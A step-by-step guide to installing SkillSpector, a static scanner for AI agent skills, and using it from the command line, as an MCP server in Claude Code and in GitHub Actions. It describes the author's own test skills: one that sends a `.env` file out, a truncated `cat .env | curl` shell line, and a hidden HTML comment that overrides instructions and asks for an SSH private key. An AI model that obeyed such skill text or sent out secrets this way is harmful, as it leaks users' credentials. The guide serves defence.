EcomLabs

STEP-BY-STEP GUIDE

Scan an agent skill with SkillSpector before you install it

Install SkillSpector 2.13.4 in an isolated environment, scan a skill without sending anything out, read the 0–100 score and the exit codes, use it as an MCP server in Claude Code and add it as a CI step. With what five test skills scored and what a scanner does not see.

FOR	Anyone installing third-party skills in Claude Code, Codex CLI or Gemini CLI
TESTED WITH	SkillSpector 2.13.4 with --no-llm · Python 3.12.3 · Windows 11 · actionlint 1.7.12
UPDATED	November 11, 2026
DOCS	github.com/NVIDIA/SkillSpector
ARTICLE	ecomlabs.dev/g/escanea-en
AUTHOR	Luis Morales · @luismoralesdev

Contents

Before you start	What you will do
Step 01	Install it in an isolated environment
Step 02	Scan without sending anything out
Step 03	Read the score
Step 04	Review what matters by hand
Step 05	Use it as an MCP server in Claude Code
Step 06	A CI step in GitHub Actions
When you finish	Checklist

BEFORE YOU START

What you will do

SkillSpector is an open-source scanner from NVIDIA (Apache 2.0 license) that checks an agent skill without running it and scores it from 0 to 100. We tested it on November 11, 2026 with version 2.13.4, released November 4, on Windows 11 with Python 3.12.3, using static analysis only (`--no-llm`). We scanned five skills we wrote ourselves, never a real setup.

You need Python 3.12 or later. It is not on PyPI; you install it from GitHub.

STEP 01

Install it in an isolated environment

Use the release wheel, which pins the version:

```
python -m venv .venv-skillspector
source .venv-skillspector/bin/activate
REL=https://github.com/NVIDIA/SkillSpector/releases/download/v2.13.4
pip install "skillspector[mcp] @ $REL/skillspector-2.13.4-py3-none-any.whl"
skillspector --version
```

- On Windows, activate with `.venv-skillspector\Scripts\activate`, and in PowerShell set the variable as `$REL = "https://github.com/NVIDIA/SkillSpector/releases/download/v2.13.4"`; the `pip` line stays the same.
- The `[mcp]` extra is only needed for Step 05. Without it, `skillspector mcp` will not start.
- `skillspector --version` should print `SkillSpector v2.13.4`.
- The README also offers `uv tool install git+https://github.com/NVIDIA/skillspector.git`. On Windows, installing from Git failed for us with "Filename too long"; the wheel does not have that problem.

STEP 02

Scan without sending anything out

```
skillspector scan ./my-skill/ --no-llm
skillspector scan ./my-skill/ --no-llm --format json > report.json
skillspector scan ./skills/ --recursive --no-llm
skillspector scan ./my-skill/ --no-llm --format sarif > report.sarif
```

- The target can be a folder, a single `SKILL.md`, a `.zip` or a Git URL.
- `--no-llm` turns off the LLM stage, which is on by default and sends file contents to a provider (build.nvidia.com by default; with no credential it falls back to `OPENAI_API_KEY` if set).
- `--recursive` scans each subfolder that has a `SKILL.md` as its own skill.
- On Windows, `--output` answers "Safe file output is unsupported on this platform" and exits 2. Redirect with `>`.

CAUTION

Even with `--no-llm`, rule SC4 sends dependency names and versions to api.osv.dev when the skill ships a manifest (`requirements.txt`, `pyproject.toml`, `package.json`, `Pipfile`). No manifest, no query. If that is not acceptable, scan on a machine without network access: SC4 then falls back to a small bundled list.

STEP 03

Read the score

SCORE	SEVERITY	RECOMMENDATION	DEFAULT EXIT
0–20	LOW	SAFE	0
21–50	MEDIUM	CAUTION	0
51–80	HIGH	DO NOT INSTALL	1
81–100	CRITICAL	DO NOT INSTALL	1

Each finding adds 50 (CRITICAL), 25 (HIGH), 10 (MEDIUM) or 5 (LOW), scaled by its confidence. The second hit of a rule counts half and the third a quarter. Findings inside executable scripts count 1.3 times. Exit 2 means an error. In the JSON, check `risk_assessment.max_issue_severity`: it can read HIGH while the overall severity reads MEDIUM.

What our test skills scored with `--no-llm`:

SKILL	WHAT IT CONTAINS	SCORE	EXIT
release-notes	Instructs only	0 · SAFE	0
env-sync	An order to send `.env` plus a script that posts it	36 · CAUTION	0
env-sync, text only	The same order, no script	0 · SAFE	0
project-context	``!`cat .env | curl ...`` `` and `allowed-tools: Bash(*)`	21 · CAUTION	0
hidden-comment	An HTML comment that overrides instructions and asks for `~/.ssh/id_rsa`	87 · DO NOT INSTALL	1

CAUTION

A scanner does not prove a skill is safe. With static analysis only, an exfiltration order written in prose scored 0, and a skill that posts your `.env` exited 0. Always read the findings, not just the score.

STEP 04

Review what matters by hand

- [ ] Read the whole `SKILL.md`, including HTML comments and text that does not show when rendered.

- [ ] Check `allowed-tools`: it grants tools without asking, and workspace trust does not gate it.
- [ ] Look for `!`...`` lines: they run in your shell before Claude reads the skill.
- [ ] Open every script and look for reads of `.env`, `~/.ssh` or environment variables, and for sends to outside URLs.
- [ ] Check the `description`: a very broad trigger ("whenever...") makes the skill load almost everywhere.

STEP 05

Use it as an MCP server in Claude Code

```
claude mcp add skillspector -- skillspector mcp
```

- Without `--scope` it goes to the local scope (just you, just this project); with `--scope user`, to all your projects.
- If you installed into a virtual environment, put the full path to the executable after `--`.
- The tool is `scan_skill(target, use_llm=true, output_format="json")` and it returns `risk_score`, `recommendation`, `safe_to_install`, `scan_mode` and the findings.
- Ask Claude to call it with `use_llm` set to `false` if you do not want files sent to a provider.

> **CAUTION**
> In our test with a local MCP client, the server took 28.8 s to answer the first time, and `env-sync` came back with `safe_to_install: true`: that field only requires a score of 50 or less and a complete analysis. Do not use `--transport http` beyond your own machine: it has no authentication.

STEP 06

A CI step in GitHub Actions

Save it as `.github/workflows/skillspector.yml`. It passed actionlint 1.7.12 and its scan command returned exit 0 and 1 locally; we did not run it on GitHub.

```
name: Scan agent skills

on:
  pull_request:
    paths:
      - ".claude/skills/**"

permissions:
  contents: read

jobs:
  skillspector:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v7
```

```
      - uses: actions/setup-python@v7
        with:
          python-version: "3.12"
      - name: Install SkillSpector 2.13.4
        env:
          REL: https://github.com/NVIDIA/SkillSpector/releases/download/v2.13.4
        run: pip install "skillspector @ $REL/skillspector-2.13.4-py3-none-any.whl"
      - name: Scan skills (static only, no LLM)
        run: skillspector scan .claude/skills --recursive --no-llm --fail-on-findings
```

- `--fail-on-findings` fails on any active finding, not only on a score above 50.
- To accept findings you already reviewed: `skillspector baseline ./my-skill -o .skillspector-baseline.yaml`, commit it in the pull request and add `--baseline .skillspector-baseline.yaml` to the scan.
- Do not use `--use-shipped-baseline` with third-party skills: it would apply the baseline the skill itself ships.
- Without `--no-llm` and with no credential, the step ends with exit 2.

WHEN YOU FINISH

Checklist

- [ ] SkillSpector 2.13.4 is installed in an isolated environment.
- [ ] Every new skill is scanned with `--no-llm` before it goes into `~/.claude/skills` or `.claude/skills`.
- [ ] You read the findings and `max_issue_severity`, not just the score.
- [ ] You reviewed the `SKILL.md`, the scripts, `allowed-tools` and any `!`...`` lines by hand.
- [ ] CI runs `--no-llm --fail-on-findings` on pull requests that touch `.claude/skills`.
- [ ] Accepted findings live in a baseline reviewed in the pull request.
- [ ] You scan again every time you update a skill.